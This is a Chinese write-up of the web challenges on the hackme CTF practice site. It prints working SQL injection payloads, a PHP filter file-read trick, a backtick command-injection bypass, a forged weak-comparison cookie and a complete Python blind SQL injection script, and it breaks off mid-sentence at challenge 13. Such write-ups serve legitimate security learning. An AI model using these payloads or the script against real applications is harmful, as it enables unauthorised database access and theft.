hackme web wp(全)

HackmeCTF—WP

WEB

1.hide and seek

根据题目意思猜测网页源代码里可能会有 提示,右键查看网页源代码,发现flag

2.guestbook

看到no data,点击new post可以插入新的数据,然后再回到message list可以看到刚才插入的数据,点进去阅读,看到可疑的URL:?mod=read&id=152
在这里插入图片描述
尝试SQL注入
首先确定字段数
在这里插入图片描述
输入id=152 order by 1、id=152 order by 2、id=152 order by 3、id=152 order by 4,都能看到数据,在输入id=152 order by 5时,出现错误,看不到数据,确认字段数为4.
利用联合查询输入?mod=read&id=-1 union select 1,2,database(),4#,确定数据库名为g8
在这里插入图片描述
再输入?mod=read&id=-1 union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 0,1),4#查看表名为flag
在这里插入图片描述
再查字段名,输入?mod=read&id=-1 union select 1,2,(select column_name from information_schema.columns where table_name='flag' limit 1,1),4#
字段名也是flag
在这里插入图片描述
最后输入?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4#查询字段值,得到结果,拿到flag

3.LFI

题目页面如图所示
在这里插入图片描述
右键查看网页源代码,如图所示,发现可疑点
在这里插入图片描述
发现?page=……传参点,尝试php伪协议,
输入?page=php://filter/read=convert.base64-encode/resource=pages/login
Base64解码后得到

<?php
require('config.php');
if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') {
    echo $flag;
} else {
?>

发现用户名和密码,但密码是经MD5加密后的值,解密后如图所示
在这里插入图片描述
拿到密码passw0rd
输入用户名为admin 密码为passw0rd,拿到flag

4.homepage

进入题目网站如图4.1所示,结合题目提示:Did you check the code?
想到进入网页源代码查看,F12调出代码和控制台,仔细查看得到线索拿到二维码flag
在这里插入图片描述

扫描二维码得到flag

5.ping

进入题目网页得源码
在这里插入图片描述
审计代码可知过滤了很多敏感字符,但是linux下的反引号没有被过滤,反引号在linux命令行的作用是执行中间的命令,并将执行后的结果取代反引号命令,然后再执行外面的命令。构造?ip=ls即可看到图所示内容,
在这里插入图片描述
发现flag.php,但cat命令被过滤,因此想到另一个sort命令,能将文件进行排序输出,试下sort加通配符
?ip=sort ????????,发现flag

6.scoreboard

点进题目网址,发现是scoreboard的地址,在网页上寻找线索,并查看源码,没有发现可疑点,试着用burpsuite抓包,但没有什么可以重放的,试着随意重放了一下,结果真的在响应头里找到了flag,如图所示在这里插入图片描述

7.login as admin 0

进入网址,查看源码,如图所示在这里插入图片描述
审计代码,发现过滤函数如图所示在这里插入图片描述
易知题目过滤了 or 1=1 等字符,还会用反斜杠转义单引号,漏洞点就在于本题只转义引号,不转义其它字符,所以我们可以考虑用自己提交的反斜杠转义掉引号前面的反斜杠,这样引号就被脱出来了,构造 payload如下

name=\'union select 1,1,1,1#&password=a

提交得到图所示,拿到flag在这里插入图片描述
**

8.login as admin 0.1

**
从上题中得到线索,flag在database中,所以推测此题是要通过注入去数据库中寻找flag
先确定列数,输入name=admin\' union select 1,2,3,4#&password=1
正常回显,所以判定数据库中有4列,
接着试着确定列名,输入

name=admin\' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

得到以下内容在这里插入图片描述
拿到表名,再输入

name=admin\' union  select 1,the_f14g,3,4 from h1dden_f14g#

如图成功拿到flag在这里插入图片描述

9.login as admin 1

进入目标网址,查看源码,如图所示在这里插入图片描述
发现和login as admin 0不同的地方,在于如图所示的过滤点,在这里插入图片描述
过滤掉了空格,于是使用/**/代替空格,提交

name=admin\'/**/union/**/select/**/1,2,3,4/**/#

得到如下所示结果,拿到flag在这里插入图片描述

10.login as admin 1.2

输入’或者\进行测试都没有回显,推测是盲注,进行布尔注入,脚本如下

import requests

myd = requests.session()

header = {
     "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"}
url ="https://hackme.inndy.tw/login1/"

true ="You are not admin!"

#database() 15 login_as_admin1

#0bdb54c98123f5526ccaed982d2006a9,users

#id,4a391a11cfa831ca740cf8d00782f3a6,id,name,password,isadmin

result =""

count =0

for x in range(250):

 print "[+]...testing " + str(x + 1)

 for y in range(32,127):

  payload ="\\'or(ascii(mid((select group_concat(4a391a11cfa831ca740cf8d00782f3a6) from 0bdb54c98123f5526ccaed982d2006a9),%s,1))=%s)#"%(x +1,y)

  payload = payload.replace(" ",chr(0x0a))

  data = {

   "name": payload,

   "password":123

   }

  mys = myd.post(url,data=data,headers=header).text

  if true in mys:

   result = result + chr(y)

   print "the result is: " + result

   break

  count = y

  if count ==126:

   print "[√]the result is: " + result

运行结果如图所示,拿到flag在这里插入图片描述
11.login as admin 3
查看源码,如图所示,在这里插入图片描述
简单审计一下代码,,发现登录后如图所示在这里插入图片描述
会在cookie里set一个字符串,该字符串经base64解码后结果如图在这里插入图片描述
会有两个键的数组,分别是data和sig,分析代码可知如果sig和密钥加密后的data弱等于,并且在data经过json解码后产生的数组中,键1的值弱等于true
这里可以用0几乎与任何字符串弱等于的方式,来进行弱类型匹配绕过密钥加密
用guest登录,拿到cookie后进行修改,获得新的cookie

eyJzaWciOjAsImRhdGEiOiJbXCJndWVzdFwiLHRydWVdIn0=

修改cookie访问,如图所示在这里插入图片描述
拿到flag
12.login as admin 4
查看源码,如图所示在这里插入图片描述
分析源码可知要拿到flag,要求post提交user为admin,但同时如果post提交的password不强等于数据库里的 password,就会强制跳转到错误的页面。
想到可以通过burpsuite修改提交的包进而绕过,但是这个网址是https网址,抓包需要添加证书,在网上百度了教程后,成功添加,用bp抓包后,删除password的内容,如图所示,在这里插入图片描述
重放攻击得到flag
13.login as admin 6
进入网址,查看源码,如图所示,在这里插入图片描述
发现了一个存在漏洞的函数——extract(),它有一个最大的漏洞——变量覆盖,即可以通过提交的变量把脚本中原来的变量覆盖掉!
通过阅读代码,可以知道它是用KaTeX parse error: Expecte

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值